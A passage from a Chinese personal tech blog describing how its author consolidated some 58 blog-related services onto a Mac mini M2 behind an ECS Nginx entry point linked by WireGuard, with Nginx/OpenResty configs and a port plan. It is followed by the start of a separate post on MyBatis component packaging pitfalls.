    subgraph Home_Network [家庭内网]
        M2_WG <--> M2_Nginx[M2 Nginx 反向代理/网关<br/>192.168.31.5<br/>192.168.21.5]

        M2_Nginx -->|Proxy Pass| M2_Local_Service[M2 本地服务<br/>localhost:xxxx]
        M2_Nginx -->|Proxy Pass| Home_Srv_A[内网服务器 A<br/>192.168.21/31.a]
        M2_Nginx -->|Proxy Pass| Home_Srv_B[内网服务器 B<br/>192.168.21/31.b]
    end

    ECS_Nginx -.->|通过隧道转发| ECS_WG

几个关键点：

公网只有一个入口，就是 ECS 上的 Nginx，负责 TLS 卸载和最外层的限流
ECS 和 M2 之间靠 WireGuard 组成虚拟内网，双方在 2.0.0.0/24 里能互相 ping 通，就像一根直连网线
家里的 M2 是真正的”网关”：既是 WireGuard 的对端，又是内部服务的反代入口
M2 可选回代到其他节点：如果某些重服务还留在 PVE 上，M2 Nginx 走内网 IP 转发即可，公网完全不需要感知它们的存在

用一句话讲清楚数据流：

请求从公网打到 ECS Nginx，Nginx 要么在本地直接响应静态资源，要么通过 WireGuard 把流量 proxy 到 M2 Nginx，由 M2 Nginx 再就近分发到 localhost 或者内网的其它机器上。

流量路径：一次请求到底经过了什么

上面那张图是”拓扑”,下面这张是”时序”。以读者打开 home.dong4j.site 为例，整条链路其实比一眼看上去要长：

sequenceDiagram
    participant U as 浏览器
    participant DNS as DNS（Aliyun）
    participant ECS as ECS Nginx<br/>（公网入口）
    participant WG as WireGuard 隧道<br/>2.0.0.1 ↔ 2.0.0.5
    participant M2 as M2 OpenResty<br/>（内网网关）
    participant APP as 后端服务<br/>(PM2 / Docker / 独立进程)

    U->>DNS: home.dong4j.site A 记录？
    DNS-->>U: ECS 公网 IP
    U->>ECS: HTTPS 443 (TLS ClientHello)
    ECS-->>U: TLS 握手 + HSTS
    U->>ECS: GET / Host: home.dong4j.site
    ECS->>WG: proxy_pass http://2.0.0.5:3998<br/>透传 Host / XFF / XFP
    WG->>M2: 2.0.0.1 → 2.0.0.5 (UDP 封装)
    M2->>APP: 按 Host 分发到 homepage:3998
    APP-->>M2: 200 OK + body
    M2-->>WG: 响应原路返回
    WG-->>ECS: 解封装
    ECS-->>U: 透传响应（保持 TLS）

几个容易被忽略但很关键的点：

TLS 只在 ECS 侧终止一次，隧道里走的是明文 HTTP。因为隧道本身是 WireGuard 加密的，不重复加解密能省 CPU，也省 M2 一整套证书分发的事
Host 头必须原样透传，ECS 和 M2 都是按 Host 分发站点的，丢了就找不到站
WireGuard 是 UDP 协议，不会因为运营商干扰 TCP 连接而中断长连接，对 LLM 流式、Socket.IO 长轮询这类场景格外友好
隧道里的 IP 2.0.0.5 是虚拟 IP，不是 M2 的任何一张物理网卡，M2 哪怕同时换了 Wi-Fi 和有线也不影响 ECS 一侧的配置

ECS Nginx 侧：两类分流策略

真正在用之后我发现，ECS 这一侧的站点并不是清一色”转发回家”，可以明确分成两类。分清楚这两类对性能和稳定性都有好处。

策略 A：静态站点 ECS 本地托管

Hexo 生成出来的 blog.dong4j.site、一些纯落地页（如 chl.dong4j.site、mik.dong4j.site）、还有 Zeka Stack 的前端 WebUI，都属于这类。它们的特点是：

产物就是一堆 HTML / CSS / JS，没有后端依赖
对延迟敏感，希望离用户越近越好
变动频率低，用 rsync 推上去就行

这种站点没必要再拐一次 WireGuard 回家，直接挂在 ECS 的 root 目录下响应。一个典型的 location 块长这样（域名已脱敏）：

server {
    listen 443 ssl http2;
    server_name blog.example.site;

    root  /var/www/blog;
    index index.html;

    # Hexo 路由兜底
    location / {
        try_files $uri $uri/ /index.html;
    }

    # 静态资源长缓存
    location ~* \.(?:ico|gif|jpe?g|png|svg|woff2?|ttf|eot|webp|webm|mp4)$ {
        expires 6M;
        add_header Cache-Control "public";
        access_log off;
    }

    # CSS/JS 不缓存，方便随时发版
    location ~* \.(?:css|js)$ {
        expires -1;
        add_header Cache-Control "no-cache, no-store, must-revalidate";
        access_log off;
    }

    # 基础安全头
    add_header X-Frame-Options            "DENY";
    add_header X-Content-Type-Options     "nosniff";
    add_header Strict-Transport-Security  "max-age=31536000; includeSubDomains" always;
}

这类站点的部署流程极其朴素：本地 hexo generate → rsync 到 ECS /var/www/blog → 结束。没有任何热数据依赖，挂了也只要一条命令就能恢复。

策略 B：整站通过 WireGuard 回源到 M2

另一类是需要后端的服务：博客 CMS（Halo）、评论（Twikoo / Waline）、访问统计（Umami）、服务器监控（Nezha）、AI Chat（Lobe / Chat）、短链（YOURLS）、IDE 插件后端（zeka-stack-api）等等。这些都是完整的后端应用，所有状态都在 M2 侧，ECS 没必要也不应该保有副本。

标准做法是给每个应用定义一个 upstream，然后整站 proxy_pass 过去。upstream 里的 2.0.0.5 是 WireGuard 对端，不是公网 IP，也不是 M2 的物理网卡地址。

upstream umami_upstream {
    server 2.0.0.5:7774;
    keepalive         128;
    keepalive_timeout 75;
}

server {
    listen 443 ssl http2;
    server_name umami.example.site;

    location / {
        proxy_pass         http://umami_upstream;
        proxy_http_version 1.1;

        proxy_set_header Host              $http_host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

两个关于 upstream 的小经验：

一定开 keepalive：隧道里的 TCP 建连成本不低，没有长连接复用的话高并发时每次都要握手，延迟会上一个量级
proxy_http_version 1.1 必开：keepalive 依赖 HTTP/1.1，不写默认 1.0，长连接形同虚设

策略 C：单域名多后端的 API 聚合

博客里有很多小 API 其实属于同一类（都是”给前端 JS 调的第三方能力”），没必要每个都给一个子域名。我把这类全部收到 api.example.site 一个域名下，用 location 按 path 分发到不同 upstream：

upstream llm_upstream        { server 2.0.0.5:11434; keepalive 128; }
upstream audio_upstream      { server 2.0.0.5:16668; keepalive 128; }
upstream summary_upstream    { server 2.0.0.5:16667; keepalive 128; }
upstream geoip2_upstream     { server 2.0.0.5:16669; keepalive 128; }
upstream pic_upstream        { server 2.0.0.5:7772;  keepalive 128; }
upstream img2color_upstream  { server 2.0.0.5:7771;  keepalive 128; }
upstream github_calendar     { server 2.0.0.5:7779;  keepalive 128; }
upstream hitokoto_upstream   { server 2.0.0.5:7776;  keepalive 128; }
upstream busuanzi_upstream   { server 2.0.0.5:7775;  keepalive 128; }
upstream friend_upstream     { server 2.0.0.5:7773;  keepalive 128; }

server {
    listen 443 ssl http2;
    server_name api.example.site;

    # 静态资源取色
    location = /img2color { proxy_pass http://img2color_upstream/api; }
    # GitHub 贡献热力图
    location = /github    { proxy_pass http://github_calendar/cache; }
    # 一言
    location = /hitokoto  { proxy_pass http://hitokoto_upstream/; }
    # 随机封面图
    location = /cover     { proxy_pass http://pic_upstream/cover; }
    # 文章摘要
    location = /summary   { proxy_pass http://summary_upstream/; }
    # IP 地理位置
    location = /location  { proxy_pass http://geoip2_upstream; }
    # 友链朋友圈
    location /friends/    { proxy_pass http://friend_upstream/; }
    # 不蒜子计数
    location /busuanzi/   { proxy_pass http://busuanzi_upstream/; }

    # 带 WebSocket / 流式的特殊处理见下一节
    # ...
}

单域名多 location 的好处：

前端只要记一个域名，想调哪个小 API 换 path 就行，不用到处配 CORS 白名单
证书、限流、WAF 规则都只写一套
所有小 API 的访问日志汇总成一份，做监控和分析更方便

策略 D：WebSocket / 流式传输 / Socket.IO

博客的几个 API 有”长连接 + 流式输出”的诉求：

Ollama LLM（/llm/）：chat completion 的 SSE 流
Socket.IO 聊天（/npx/socket.io/）：支持 WebSocket 和长轮询两种 transport

这两类对 Nginx 的默认配置很敏感，直接用标准 proxy_pass 会被 buffering 卡住，体验就是”等了半天才一下子蹦出一大段”。真正可用的配置大概长这样：

location /llm/ {
    proxy_pass         http://llm_upstream/;
    proxy_http_version 1.1;

    # WebSocket / SSE 升级
    proxy_set_header Upgrade    $http_upgrade;
    proxy_set_header Connection "upgrade";

    # 基础代理头
    proxy_set_header Host              $http_host;
    proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header X-Real-IP         $remote_addr;

    # LLM 响应可能要等很久
    proxy_connect_timeout 60s;
    proxy_send_timeout    300s;
    proxy_read_timeout    300s;

    # 关键：关闭 buffering 才有"边想边吐字"的效果
    proxy_buffering off;
    proxy_cache off;
    chunked_transfer_encoding on;
    tcp_nopush on;
    tcp_nodelay on;

    client_max_body_size 50m;
}

proxy_buffering off 是核心，不关它前端永远是”卡 → 一坨”而不是”逐 token 流出”
proxy_read_timeout 要拉长，SSE 常见 2–3 分钟生成时间，默认 60s 会被中途砍断
Upgrade / Connection 两个头给 WebSocket 握手用，不加 Socket.IO 就会退化成长轮询模式

ECS 侧的站点与后端对照表

我把实际在用的 ECS 站点分流策略简化匿名后整理成一张表，方便一眼看全：

公网域名	分流策略	后端落点
`blog.example.site`	本地静态	ECS `/var/www/blog`
`chl / mik / ...`	本地静态	ECS 对应子目录
`zekastack.example.site`	本地静态 + API 回源	WebUI 静态文件 + `/api/** → 2.0.0.5:8080`
`home.example.site`	整站回源	`2.0.0.5:3998`
`umami.example.site`	整站回源	`2.0.0.5:7774`
`twikoo.example.site`	整站回源	`2.0.0.5:7777`
`waline.example.site`	整站回源	`2.0.0.5:7778`
`nezha.example.site`	整站回源	哪吒面板
`memos / chat / dify / lobe`	整站回源	对应容器端口
`api.example.site`	单域多 upstream	见策略 C 的 location 清单

一目了然之后才真正意识到：这套架构只在 ECS 一侧维护一份配置，家里机器怎么搬、端口怎么挪，对公网完全透明。

AI 能力怎么嵌进博客

博客里关于 AI 的部分其实走了三条独立的链路，放在这里一起讲清楚，方便理解为什么 M2 上会同时有 one-api、summary-server、next-mini-chat、audio-server 这些服务。

链路一：文章摘要（summary）

这条链路是给每篇文章顶部的那个”一句话摘要”用的：

读者浏览器 → api.dong4j.site/summary
         → ECS Nginx → WireGuard
         → M2 summary-server
             ├─ 先查 Redis 缓存（命中则直接返回）
             └─ 未命中 → one-api → 智谱 / DeepSeek 等 → 写回 Redis

几个点值得单独说：

Redis 缓存是核心：文章内容变化频率低，缓存 key 用文章的 abbrlink，命中率几乎 100%
one-api 做协议兼容：我用哪家模型都不会让 summary-server 知道，换供应商的成本是 0
原本用的是 TianliGPT，后来迁到自建链路，既省了订阅费也避免了第三方限流

链路二：PostChat（评论区 AI 对话）

PostChat 是一个第三方集成，但摘要和对话都可以走自建。接入 PostChat 时主要就是在 _config.yml 里配置 enableSummary / enableAI，把摘要数据源指向 api.dong4j.site/summary。

链路三：llms.txt 和 AI 友好

hexo-plugin-llmstxt 是一个 Hexo 插件，构建时会自动生成一份 llms.txt 放在站点根目录。作用是告诉爬虫（特别是各种 LLM 的爬虫）哪些内容允许抓取。这个文件不走任何动态链路，就是 Hexo 构建产物的一部分，和博客静态页同步发布到 ECS 的 /var/www/blog 下。

链路四：文章朗读（audio）

读者点击"朗读" → api.dong4j.site/audio
              → ECS Nginx → WireGuard
              → M2 audio-server（Kokoro-82M ONNX）
              → 流式返回 mp3 / wav

audio-server 是一个 Python FastAPI 服务，加载 Kokoro-82M 的 ONNX 权重后常驻内存。每次请求按段落切分，流式返回音频。响应是 chunked 的，所以 proxy_buffering off 必开，否则会”点了等半天一下吐一整段”。

为什么这些都自建

一句话说：**不想被别人掐脖子。**摘要服务第三方收过订阅费，TTS 服务用过月度 quota，都不想再被这些”每天都会调几千次”的小 API 卡住。自己搞一套之后，成本摊下来其实比第三方订阅便宜，还能根据博客的特殊需求随时调 prompt。

为什么把 M2 选成”博客主机”

这台 Mac mini M2 并不是顶配，但对博客这种负载来说是很合适的选择：

常年低功耗：整机待机 3W 左右，全力跑也很少超过 15W，比任何一台 x86 节点省电
散热安静：扔在柜子里常年不转风扇，不怕它因为散热不良挂掉
算力充足：跑几十个 Node/Python/Docker 进程毫无压力
SSD 快：macOS 原生的 APFS + 快速 SSD，对频繁读写的数据库和缓存友好
生态顺手：Homebrew、PM2、Docker Desktop 原生支持，我写脚本的时候不用切心智

更关键的是，新买 Mac Studio 那台主力给 AI 用之后，这台 M2 处于”24 小时开机、大部分时间闲着”的状态，与其让它浪费算力，不如让它当博客的主力。

Hexo 端：博客本体的插件矩阵

在讲后端服务之前，先把博客”前端”这一层摆出来，因为后面提到的很多 M2 服务都是为了配合这一层而存在的。

博客本身用的是 Hexo + AnZhiYu 主题，看上去就是一堆静态文件，但光 Hexo 生态这一层就塞了十几个插件：

插件	作用
`hexo-renderer-marked`	Markdown 渲染
`hexo-abbrlink`	文章永久链接生成（CRC32 hash）
`hexo-generator-feed`	RSS / Atom 订阅
`hexo-generator-sitemap`	站点地图，给搜索引擎看
`hexo-blog-encrypt`	文章加密，少数隐私内容用
`hexo-tag-aplayer`	文章内嵌音乐播放器
`hexo-filter-nofollow`	外链加 `rel=nofollow`
`hexo-baidu-url-submit`	百度站长链接推送
`hexo-algoliasearch`	Algolia 搜索索引自动同步
`hexo-safego`	外链安全跳转（避免直接跳到第三方）
`hexo-plugin-llmstxt`	自动生成 `llms.txt`，给 AI 爬虫看
`hexo-circle-of-friends-front`	友链朋友圈前端
`hexo-anzhiyu-static-source`	AnZhiYu 主题静态资源管理
`hexo-generator-readme-file`	生成项目 README

每个插件背后还会依赖一堆 npm 包，数下来 package.json 里的一级依赖就有小一百个。这就是 Node 生态的现实，习惯就好。

这些插件和后端服务是怎么串起来的

Hexo 插件处理的是”构建时”的事情，真正”运行时”的动态能力要靠后端服务来补。两边的对应关系大概是这样的：

前端/插件诉求	对应后端（M2 侧）
文章搜索	Algolia（第三方托管，免费额度够用）
评论	Twikoo（主）/ Waline（备用）
访问统计	Umami + 不蒜子
页面封面主色调	img2color
文章摘要	summary-server + one-api
文章朗读	audio-server（Kokoro TTS）
GitHub 贡献热力图	github-calendar-api
友链朋友圈	friend-circle
IP 地理位置	geoip2-server
一言 / 随机句子	hitokoto
随机封面图	pic-server
AI 对话	PostChat + next-mini-chat + one-api
文章运行时长	time-counter

这张表也是为什么我把 M2 上那些看似零散的小服务当成一等公民来规划端口段——它们其实是博客这个”前端”的延伸，而不是独立的业务系统。

踩过一些又放弃的方案

一路上试过不少方案，最终没留下来的也有不少，简单记录几个：

评论系统：Twikoo / Waline / Artalk 三家都部署过，最后主力留 Twikoo（界面最简洁、数据自带 SQLite），Waline 当备用应急
搜索：试过本地 MeiliSearch、再到 Algolia，最后选 Algolia 是因为它的中文分词对免费用户够用，免维护成本最低
统计：Google Analytics → Plausible → Umami，越换越”自托管 + 隐私友好”，最终停在 Umami
CDN：七牛 / 又拍云 / 多吉云都试过，最后静态资源分成两路：图片走 MinIO + 自建 CDN 边缘，脚本类资源主要还是直连 ECS

选型没有银弹，这几个都不是因为”不好用”被换掉的，只是需求在演进，每次换的时候都做过权衡。

部署在 M2 上的服务清单

梳一下我最后落到这台 Mac mini M2 上的所有服务，按职责分层列。这不是 showoff，是为了后面讲架构细节的时候有具体上下文。

基础设施层

组件	作用
OpenResty	所有 HTTP 流量的统一入口，反代、SSL、WAF 都压在这里
MySQL 8.2	Halo、Zeka API、Umami 的主库
PostgreSQL	少数应用用作备用库
MongoDB 7.0	文档型场景，主要是日志和一些 AI 工具
Redis 7.2	缓存层，给 Busuanzi、summary-server、会话存储等共用

这一层是整个 M2 的”地基”，所有其它服务都直接或间接依赖它们。

博客核心

组件	作用
Halo	博客内容管理系统，主站点
静态站点文件	Hexo 生成产物，挂在 OpenResty 的 www 目录里
Twikoo	主用评论系统，自带 SQLite
Waline	备用评论系统
Umami	隐私友好的访问统计
Busuanzi（不蒜子）	页面访问计数，走 Redis

博客的”脸”基本上全在这一层。

PM2 托管的小微服务

这些都是自己写或者自己魔改的，用 PM2 起进程。很多是 Node/Python/Go 单文件级别的小服务：

audio-server：基于 Kokoro-82M（ONNX）的 TTS，把文章转成语音，给博客顶部的”听文章”按钮用
summary-server：调 LLM API 生成文章摘要，结果写进 Redis 缓存，替代了 TianliGPT 这类第三方接口
geoip2-server：IP 地理位置查询，评论区显示城市就是它的功劳
github-calendar-api：GitHub 贡献热力图的数据 API，挂在首页
friend-circle：友链朋友圈聚合，每天去抓友链博客的 RSS 汇总一下
hitokoto：随机一句话 / 格言 API，页脚显示的那条”今天宜摸鱼”就是它
img2color-go：图片主色调提取，用 Go 写的，几十 ms 返回主题色，用来给文章卡片做自适应配色
pic-server：随机封面图 / 随机头图 API，给 api.dong4j.site/cover 那种随机图请求兜底
next-mini-chat：博客里嵌的那个小 AI 对话框，走 one-api 出去
npx-server / npx-card-landing：npx dong4j-card 这种命令的后端接口 + Socket.IO 联机聊天
summary / time-counter：time-counter 是 Go 写的，统计文章运行时长、本站运行天数
online-user-stats：粗糙的在线用户数统计
url-switcher-tool：把外链转成安全跳转链接的辅助服务
self-star-list：自 Star 仓库列表生成器，用于个人”我的开源”页
overseas-ban：针对某些海外高流量爬虫的黑名单服务
vs-context-runner：VS Code 上下文快捷生成，一个给自己用的小工具

按 PM2 起进程的好处是 pm2 list 一把就能看到全家桶，挂了一个也是局部影响，彼此之间互不拖累。对这种十几个单文件小服务的场景，PM2 比 Docker 轻太多——省内存、日志集中、启停快、pm2 monit 还能看到 CPU/内存实时图。

独立的后端服务

有两个体量稍大的服务我没塞进 Docker，直接以独立进程跑：

happy-server（Node.js）：Claude Code 客户端的 E2E 加密同步，WebSocket + 推送
zeka-stack-api（Java / Spring Boot）：IntelliAI Engine 的后端，管 GitHub OAuth、节点监控、智谱 AI 代理等

这两个都有明确的生命周期要求，不想跟博客相关服务混着容器网络，独立进程反而干净。

外围支撑服务

这一层是那种”不是博客本身但缺了很难受”的东西：

Uptime Kuma：每 30 秒扫一次所有服务端点，出问题直接飞书通知，我的第一告警源
哪吒探针（Nezha）：主机级指标监控，看各台机器的 CPU / 内存 / 网络 / 磁盘
maintenance-pages：维护页静态站点，紧急情况下 ECS 一条 proxy_pass 切过去就是全站维护通知
minio：S3 兼容对象存储，图片 / 附件兜底
image-uploader-extension：浏览器插件的后端，用于一键上传图片
github-og-image-node：自动生成 OG 图，社交分享卡片更好看
one-api / new-api：AI API 聚合层，把 OpenAI、Claude、DeepSeek、智谱等协议统一成 OpenAI 格式，summary-server / next-mini-chat / PostChat 都走它
yourls：短链接服务
emqx：MQTT broker，给家里一些小 IoT 设备用
kafka + redpanda-console：偶尔跑一些事件流 demo
lobe-chat：自用的 AI 聊天前端
flarum：一个小论坛
waf：挂在 OpenResty 前面的规则层

数一下 M2 上各类进程大概 30+ 个，加上 Hexo 插件生态里那堆 npm 包，对外看就是”50+ 服务支撑一个博客”的状态。

写到这里自己数了一遍，竟然真的凑满 50+，不得不说这就是程序员的天性——总想”再优化一下""再加个小功能”，不知不觉就成了这个样子。

服务关系一眼图

用户
 └─► ECS Nginx（公网入口）
       └─(WireGuard)─► M2 OpenResty（内网网关）
                          ├─► Halo / 静态博客
                          ├─► Twikoo / Waline / Umami / Busuanzi
                          ├─► PM2 微服务矩阵
                          ├─► happy-server / zeka-stack-api
                          └─► MinIO / YOURLS / lobe-chat / ...
 数据库层（1panel-network）
   ├─► MySQL / PostgreSQL / MongoDB
   └─► Redis

WireGuard 是怎么把两边串起来的

这一步是整个升级的核心。大白话讲：让 ECS 和 M2 之间像拉了一根直连网线，地址各自固定，路由稳定。

地址规划

2.0.0.1：ECS 端的 WireGuard 接口
2.0.0.5：M2 端的 WireGuard 接口
双方都加一条 2.0.0.0/24 dev wg0 的路由
ECS 上 AllowedIPs = 2.0.0.5/32，严格只允许 M2 这一个对端走这条隧道

我没有把 WireGuard 当”全量 VPN”用，只当点对点通道，所以路由保持最小够用，不动内网其它流量。

ECS 端 Nginx 的做法

ECS 上的 Nginx 是公网唯一入口，它主要做三件事：

证书和 TLS 卸载（Let’s Encrypt 自动续签）
最外层限流和基础 WAF
把所有业务流量 proxy_pass http://2.0.0.5:xxxx;，转进隧道

典型的 location 块长这样：

location / {
    proxy_pass         http://2.0.0.5:80;
    proxy_http_version 1.1;
    proxy_set_header   Host              $host;
    proxy_set_header   X-Real-IP         $remote_addr;
    proxy_set_header   X-Forwarded-For   $proxy_add_x_forwarded_for;
    proxy_set_header   X-Forwarded-Proto $scheme;
}

注意几个细节：

Host 透传很关键：M2 上的 OpenResty 是按域名区分站点的，Host 不透传回家里会找不到站
X-Forwarded-For 要加：否则所有访问日志的 IP 都是 ECS 自己的内网 IP，统计全废
不在 ECS 做业务逻辑：ECS 只做”搬运工”，业务判断都下沉到 M2 的 OpenResty

M2 端 OpenResty 的做法

M2 这一端要解决的是”从 WireGuard 收到的请求，到底应该打给哪个本地进程”。由于 ECS 上的 proxy_pass 指定的是 2.0.0.5:<port>，WireGuard 把流量送到 M2 之后，OpenResty 实际上承担两种角色：

端口级分发：每个后端进程绑一个固定端口，外部进来的 TCP 直接打到那个端口
域名级反代：OpenResty 再按 Host 把一些共享同一端口的站点分开，或者补一些 CORS / 缓存 / 重写

为了后期维护方便，我给 PM2 托管的小微服务规划了一段比较整齐的端口区间：

服务	M2 端口	用途
time-counter	7770	文章运行时长
img2color	7771	图片主色调
pic-server	7772	随机封面 / 头图
friend-circle	7773	友链朋友圈
umami	7774	访问统计
busuanzi	7775	页面计数
hitokoto	7776	一言
twikoo	7777	评论（Twikoo）
waline	7778	评论（Waline，备用）
github-calendar	7779	GitHub 贡献图
npx-server	16666	npx 卡片 / Socket.IO
summary-server	16667	文章摘要
audio-server	16668	TTS（Kokoro）
geoip2-server	16669	IP 地理位置
ollama	11434	本地 LLM
zeka-stack-api	8080	IntelliAI Engine 后端
home / homepage	3998	个人首页站点

规划端口段的好处是：以后不管是看日志、做防火墙规则，还是写监控告警，一段段地处理起来心智负担很低。看到 77xx 就知道是博客域的小工具，1666x 是稍大的 Node / Python 服务，11434 就是 Ollama 的默认端口。

再举几个 M2 OpenResty 具体 server 块的典型形态：

# 1. M2 本地静态站点（Hexo 的另一份镜像产物，用于局域网直连）
server {
    listen 3222;
    server_name blog.example.local;
    root /opt/openresty/www/sites/blog/index;
    index index.html;
    location / { try_files $uri $uri/ /index.html; }
}

# 2. M2 上按 Host 分发到容器
server {
    listen 80;
    server_name halo.example.local;
    location / {
        proxy_pass http://127.0.0.1:8090;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

# 3. M2 上把没迁走的服务转到 PVE 节点
server {
    listen 80;
    server_name legacy.example.local;
    location / {
        proxy_pass http://192.168.31.20:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

最值得强调的一点：**即使某些服务我暂时还没完全搬离 PVE，对外依然是”网关统一、URL 不变、用户无感”的。**迁移节奏完全由我自己把控，上线当天改一条 M2 侧的 proxy_pass 就行，ECS 不需要动，公网用户更没感觉。

这也是我为什么这次要坚持把”公网入口”和”内网分发”分成两层 Nginx——一层负责让公网看到的东西保持稳定，另一层负责让内部拓扑可以随时折腾。

迁移过程踩到的几个坑

这里挑几个比较有代表性的坑写下来。

1. Docker Desktop 的网络模式坑

Mac 上的 Docker 不支持严格意义上的 network_mode: host，所以我原本在 Linux 上写的 OpenResty compose 文件直接拿过来跑不起来。后来的做法是：

OpenResty 用具体 ports 映射
数据库一类需要被多个容器共享的，挂到同一个 user-defined bridge 网络里（也就是那个 1panel-network）

一开始想偷懒直接 host 模式，最后还是老实换成了 bridge 网络，后续迁移起来反而更干净。

2. PM2 开机自启

macOS 上的 PM2 开机自启有点 tricky，pm2 startup 默认生成的是 launchd plist，但权限和用户上下文要手动调。走了几次弯路之后的结论是：

用登录用户执行 pm2 startup launchd -u <user> --hp /Users/<user>
pm2 save 把进程列表固化
在系统偏好里允许这个 Terminal / LaunchAgent 在后台运行

然后每次重启 M2，所有微服务都能自动回来。

3. WireGuard MTU

家宽链路 + ECS 链路之间最佳 MTU 不是 1500，踩了几次 TCP 偶发断连之后才把 wg0 的 MTU 改成了 1360。这个值没有普适答案，得按你家的线路慢慢试。

4. 时间同步

M2 作为全日 24 小时服务主机，时间漂移对 Umami、日志关联影响很大。我把它设成跟 ECS 走同一个 NTP 源，避免”看日志发现两台机器相差十几秒”的迷惑瞬间。

收益

迁移完成之后感受最明显的几个变化：

运维集中：过去在四台机器之间跳，现在所有日志、容器、进程基本都在 M2 上看，排障时间骤降
公网更窄：公网只露 ECS，其它机器彻底对外隐身，攻击面收敛到一个点
备份统一：所有重要数据都在 M2 上，备份脚本写一套就够，rclone 每晚同步到 MinIO 和一个冷盘
功耗下降：关掉两台常年开着的 PVE 节点，功耗省了一大截，电费账单实测下来每月能少两位数
心理负担减轻：最大的变化其实是这个。过去每次动服务都要预演一遍”如果 X 节点不在了我要怎么办”，现在只要保证 M2 和 ECS 这两个点就够了

未来打算

这套架构还没到终点，后面打算继续做几件事：

双 M2 冷备：手头还有另一台 M2 mini，考虑做成温备，WireGuard 双 Peer 模式，主 M2 挂掉能在几分钟内切换
迁移剩余 PVE 节点：把 Docker 服务全部拉到 M2 上，PVE 节点改回单纯跑 VM
更细的监控面板：现在 Uptime Kuma 只看 HTTP 存活，后续接一下 Prometheus + Grafana，看细粒度指标
内部 DNS：在 M2 上跑 Pi-hole / AdGuard Home，家里设备走内部域名解析，不再记 IP
站点分域隔离：把不同类的服务拆到不同子域，方便做独立限流、独立证书

写在最后

这次升级没有什么”高大上”的技术，全是一些老到不能再老的组件：Nginx、WireGuard、PM2、Docker。但它们拼起来解决了一个我长期被困扰的问题——服务散落是运维成本的真正来源。

一台 Mac mini M2 + 一条 WireGuard 隧道 + 一台 ECS 做门面，就把三四十个博客相关服务收得服服帖帖。

如果你的 Homelab 也是从”东拼西凑”的状态成长起来的，不妨试试把入口先收到一个点上，光是心理负担就能降一半。

附录：50+ 服务清单一览

这一堆东西加起来到底是多少，自己也好奇，干脆数一遍做个收尾：

类别	数量	代表项
Hexo 核心 / 插件	14	`hexo-renderer-marked` / `hexo-abbrlink` / `hexo-generator-feed` / `hexo-algoliasearch` / `hexo-plugin-llmstxt` / …
评论 / 搜索 / 统计	5	Twikoo / Waline / Algolia / Umami / 不蒜子
AI 相关	6	one-api / new-api / summary-server / audio-server / next-mini-chat / lobe-chat
图片 / 资源	5	img2color / pic-server / image-uploader / github-og-image / MinIO
小工具类	10+	hitokoto / friend-circle / geoip2 / github-calendar / npx-server / time-counter / url-switcher / self-star-list / online-user-stats / overseas-ban
基础设施	5	OpenResty / MySQL / PostgreSQL / MongoDB / Redis
博客与 CMS	3	Halo / Hexo 静态站点 / Flarum
监控 / 运维	3	Uptime Kuma / 哪吒探针 / maintenance-pages
独立后端	2	happy-server / zeka-stack-api
其他支撑	5	YOURLS / EMQX / Kafka / Redpanda / WAF

合计：58 个。

如果你以前以为”搞个博客就是写写 Markdown 推上去”，那这篇文章大概给了你一个反面教材。但反过来想，正是因为这些零零碎碎的服务拼在一起，博客才有了搜索、评论、统计、摘要、朗读、随机图、朋友圈、AI 对话这些体验。每一个都是自己当时真的觉得”要有”才去加的，不是为了凑数量。

折腾到最后发现，**真正决定体验上限的，不是博客本身有多花哨，而是背后这堆不起眼的小服务有没有稳稳地在跑。**把它们统一收到一台 M2 上之后，第一次有种”整个博客终于不再是一个摊子，而是一个系统”的感觉。

这大概就是这次架构升级最大的收获。

MyBatis 组件化实践：踩坑全记录

Thu, 12 Mar 2026 00:00:00 GMT

第一个坑：XML 去哪了

最先踩的坑很基础——MyBatis 的 Mapper XML 文件在打包成 jar 后消失了。

背景是我们在做一个日志组件，里面包含了 dao 接口和对应的 XML：

src/main/java/com/xxx/log/service/dao/
├── LogDao.java
└── xml/
    └── LogDao.xml

有同事把 XML 和 dao 接口放在同一个包路径下，理由是”方便对照”。开发阶段一切正常，mvn spring-boot:run 跑起来 SQL 也能加载。但打包成 jar 给业务方引用时，运行提示 Invalid bound statement (not found)。

原因很简单：Maven 编译时只处理 src/main/java 下的 .java 文件，.xml 文件不会被拷贝到 target/classes。打包成 jar 后自然也没有。

修法有两种。第一种，把 XML 挪到 src/main/resources 下，保持相同包路径：

src/main/java/com/xxx/log/service/dao/LogDao.java
src/main/resources/com/xxx/log/service/dao/LogDao.xml

Maven 会把 resources 下的文件原样拷贝到 classpath，打包自然也会带上。这是标准做法。

第二种，在 pom.xml 中显式声明资源路径：

<build>
    <resources>
        <resource>
            <directory>src/main/resources</directory>
        </resource>
        <resource>
            <directory>src/main/java</directory>
            <includes>
                <include>**/*.xml</include>
            </includes>
        </resource>
    </resources>
</build>

但第二种破坏了代码与资源的分离原则。长期维护下来，src/main/java 下什么都有，新人不知道哪些是代码哪些是资源。所以我选了第一种。

其实往深了想，“方便对照”这个需求可以用工具解决。IntelliJ IDEA 有 MyBatis 插件，可以从 dao 接口跳转到 XML，也可以反向跳转。而且免费的 MyBatisCodeHelper 或者付费的 MyBatis Log Plugin 都能做到。不需要用”把 XML 放在 java 目录下”这种反 Maven 约定的方式来解决问题。

第二个坑：组件里的 dao 扫不到

XML 问题解决后，遇到了第二个坑：业务方引了组件，但 dao 接口没被 Spring 扫描到。

Spring Boot 的默认包扫描范围是主启动类所在包及其子包。组件的包路径是 com.xxx.log.service.dao，而业务方的主启动类在 com.xxx.business 下，根本扫不到。

业务方解决方式是自己在启动类上加 @MapperScan：

@SpringBootApplication
@MapperScan({"com.xxx.business.dao", "com.xxx.log.service.dao"})
public class BusinessApplication { ... }

功能性上是解决了，但破坏了组件的封装性。业务方需要知道组件内部有哪些 dao 包。如果将来组件内部重构，改了包名，所有引用方的启动类都要跟着改。

正确做法是组件自己提供自动配置：

@Configuration
@MapperScan("com.xxx.log.service.dao")
public class LogAutoConfiguration {
}

再配上 Spring Boot 的 spring.factories 或者 AutoConfiguration.imports 文件：

# META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
